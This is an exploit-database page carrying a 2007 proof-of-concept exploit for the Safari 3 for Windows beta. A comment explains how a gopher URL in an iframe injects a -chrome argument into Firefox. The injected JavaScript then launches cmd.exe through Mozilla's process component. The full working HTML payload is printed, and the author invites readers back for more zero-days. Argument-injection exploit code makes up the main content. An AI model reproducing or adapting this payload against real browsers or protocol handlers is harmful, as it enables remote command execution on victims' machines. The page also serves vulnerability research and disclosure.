Lucene search
K

Safari 3 for Windows Beta Remote Command Execution PoC

🗓️ 12 Jun 2007 00:00:00Reported by Thor LarholmType 
zdt
 zdt
🔗 0day.today👁 23 Views

Safari 3 Windows Beta Remote Command Execution Po

Code
======================================================
Safari 3 for Windows Beta Remote Command Execution PoC
======================================================

<!--
Safari for Windows, 0day exploit in 2 hours
http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/
By Thor Larholm

The below PoC exploit will exploit Safari by bouncing through Firefox 
via the Gopher protocol, passing on unfiltered input for the -chrome 
argument that Firefox exposes. When it has done this it will launch 
C:\Windows\System32\cmd.exe with any arguments that have been specified 
in the call to the process.run method. 

It is important to know that, even though this PoC exploit uses Firefox, 
the actual vulnerability is within the lack of input validation for the 
command line arguments handed to the various URL protocol handlers on 
your machine. As such, there are a lot of different attack vectors for 
this vulnerability, I simply chose Firefox and the Gopher URL protocol 
because I was familiar with these. 

I hope you enjoyed the fruits of my 2 hours of labour. Please feel free 
to add my RSS feed to your reader and come back again tomorrow or next 
week for a fresh batch of 0day vulnerabilities :) 

Cheers Thor Larholm 
-->

<html><body>
<iframe src='gopher://larholm.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[&#39;@mozilla.org/file/local;1&#39;].createInstance(I.nsILocalFile);file.initWithPath(&#39;C:&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;Windows&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;System32&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;cmd.exe&#39;);process=C[&#39;@mozilla.org/process/util;1&#39;].createInstance(I.nsIProcess);process.init(file);process.run(true&#44;{}&#44;0);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)
</body></html>




#  0day.today [2018-01-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation